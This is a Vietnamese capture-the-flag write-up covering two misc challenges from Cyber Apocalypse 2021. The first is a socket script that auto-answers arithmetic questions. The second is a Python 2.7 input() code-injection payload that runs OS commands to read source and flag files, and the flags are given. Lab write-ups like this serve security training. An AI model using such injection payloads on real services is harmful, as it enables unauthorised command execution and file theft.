1. Alien Camp

Bài này đơn giản là cho một server với 1 port mở như vầy.

/images/posts/ctf/Cyber-Apocalypse-2021/misc/Screen_Shot_2021-04-24_at_22.20.57.png

Đây là yêu cầu của đề bài

/images/posts/ctf/Cyber-Apocalypse-2021/misc/Screen_Shot_2021-04-24_at_22.08.25.png

Khi connect vào server thì có các thông tin sau. Đơn giản và dễ hiểu thì là tính toán và gửi kết quả cho nó. Nó có tận 500 bài toán lận.

/images/posts/ctf/Cyber-Apocalypse-2021/misc/Screen_Shot_2021-04-24_at_22.07.19.png

Bài này thiên về kiểu viết code để tính toán, logic tý là ra nên khỏi phải giải thích nhiều. Dưới đây là POC mình viết, nó nhìn thì ngu như nó work nhé các bạn :D

import time
import socket
def return_value(s, values):
    return values.get(s)

def split_values_to_json(values):
    values = values.split(" ")
    data = {}
    for i in range(0,len(values), 3):
        data.update({
            values[i]: int(values[i + 2])
        })

    return data

def calc(array_answers):
    l = ""
    for c in array_answers:
        if c == '-' or c == '+' or c == '*' or c == '/':
            l = l + c
        else:
            l = l + str(return_value(c, array_values))
    print(l)
    return eval(l)

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('138.68.177.159', 30906))
print (s.recv(1024))

s.send(b"1\n")
values = s.recv(1024).decode("utf-8") + s.recv(1024).decode("utf-8")
print(values)
values = values.split("\n\n")[1].strip(" ")
print(values.split(" "))
array_values = split_values_to_json(values)

print(array_values)
# s.recv(1024).decode("utf-8")
s.send(b"2\n")

while True:
    # lay gia tri
    # tinh toan
    answers = s.recv(1024).decode("utf-8")
    if answers.find("CHTB{") != -1:
        print(answers)
        break
    print("-------{}------".format(answers))

    start = answers.find("Question")
    stop = answers.find("Answer:")

    tmp_answers = answers.replace("Answer:", "")

    # print("--------bbbbbbb{}".format(tmp_answers))
    len_question = tmp_answers[tmp_answers.find("Question"): tmp_answers.find(":") + 1]

    if len_question == "":
        len_question = 0
    else:
        len_question = len(len_question)
    answers = answers[start + len_question: stop].strip("\n\n")
    _answers = answers[:answers.find(" =")]

    if _answers.find("Question") != -1:
        _len = len(_answers[_answers.find("Question"): _answers.find(":") + 1])
        _answers = _answers[_answers.find("Question") + _len:].strip("\n\n")

    array_answers = _answers.strip(" ").split(" ")

    results = calc(array_answers)
    s.send("{}\n".format(results).encode())
    print("results: {}".format(results))

Flag là: CHTB{3v3n_4l13n5_u53_3m0j15_t0_c0mmun1c4t3}

2. Input as a Service

Những gì bài cho là một ip và port.

/images/posts/ctf/Cyber-Apocalypse-2021/misc/Screen_Shot_2021-04-24_at_22.19.39.png

Thử connect vào và điền một vài thứ gì đó ngớ ngẩn, thì tôi có được thông báo lỗi như sau:

/images/posts/ctf/Cyber-Apocalypse-2021/misc/Screen_Shot_2021-04-24_at_22.10.48.png

Báo lỗi là tên không được tìm thấy, vậy là những gì tôi nhập vào được xem là 1 biến, và nó không chạy được là do không tìm thấy ư? ư? ư? Một câu hỏi lớn, và chú ý hơn nữa thì có dòng text = input(' ') và phiên bản python là 2.7.18

Hay lắm, vậy chắc chắn là những gì tôi nhập vào sẽ được đi qua hàm input, ở phiên bản python 2.7.18. Đây là mấu chốt, ở phiên bản python này, input đã được khuyến nghị là không nên sử dụng, vì nó không an toàn, có thể sử dụng code injection thông của hàm này.

Vậy thử thôi, thực ra là thi CTF chả có thời gian mà thử nhiều, tôi thử luôn như dưới cho chắc ăn.

eval(compile("""__import__('os').popen(r'cat /app/input_as_a_service.py').read()""",'','single'))

Tôi đọc file /app/input_as_a_service.py, file này thấy khi server trả về lỗi, mục đích là đọc source code trong này để đảm bảo rằng suy nghĩ của tôi đúng.

/images/posts/ctf/Cyber-Apocalypse-2021/misc/Screen_Shot_2021-04-24_at_22.15.25.png

Sau khi chạy thì server đã trả về source code cho tôi như dưới.

#!/usr/bin/python2.7
from sys import version

'''
Descr:
In order to blend with the extraterrestrials, we need to talk and sound like them. Try some phrases in order to check if you can make them believe you are one of them. 
'''

def main():
    print version + '\nDo you sound like an alien?\n>>> \n'
    for _ in range(2):
        text = input(' ')
        print text

if __name__ == "__main__":
    main()

Vậy là luồng suy nghĩ của tôi ngay từ đầu đã đúng, bây giờ thì xem file flag nằm ở đâu chứ nhỉ. Có thể sử dụng bất cứ lệnh gì để tìm file flag. Ví dụ: find / -name 'flag*', ls xem chúng có ở cùng folder với file chạy không.

eval(compile("""__import__('os').popen(r'ls').read()""",'','single'))

Tôi ls thử thì đã thấy được file flag là flag.txt.

/images/posts/ctf/Cyber-Apocalypse-2021/misc/Screen_Shot_2021-04-24_at_22.18.22.png

Bây giờ chỉ cần đọc nó thôi là xong bài này rồi.

eval(compile("""__import__('os').popen(r'cat flag.txt').read()""",'','single'))

Đã tìm thấy được flag.

/images/posts/ctf/Cyber-Apocalypse-2021/misc/Screen_Shot_2021-04-24_at_22.18.59.png

Flag là: CHTB{4li3n5_us3_pyth0n2.X?!}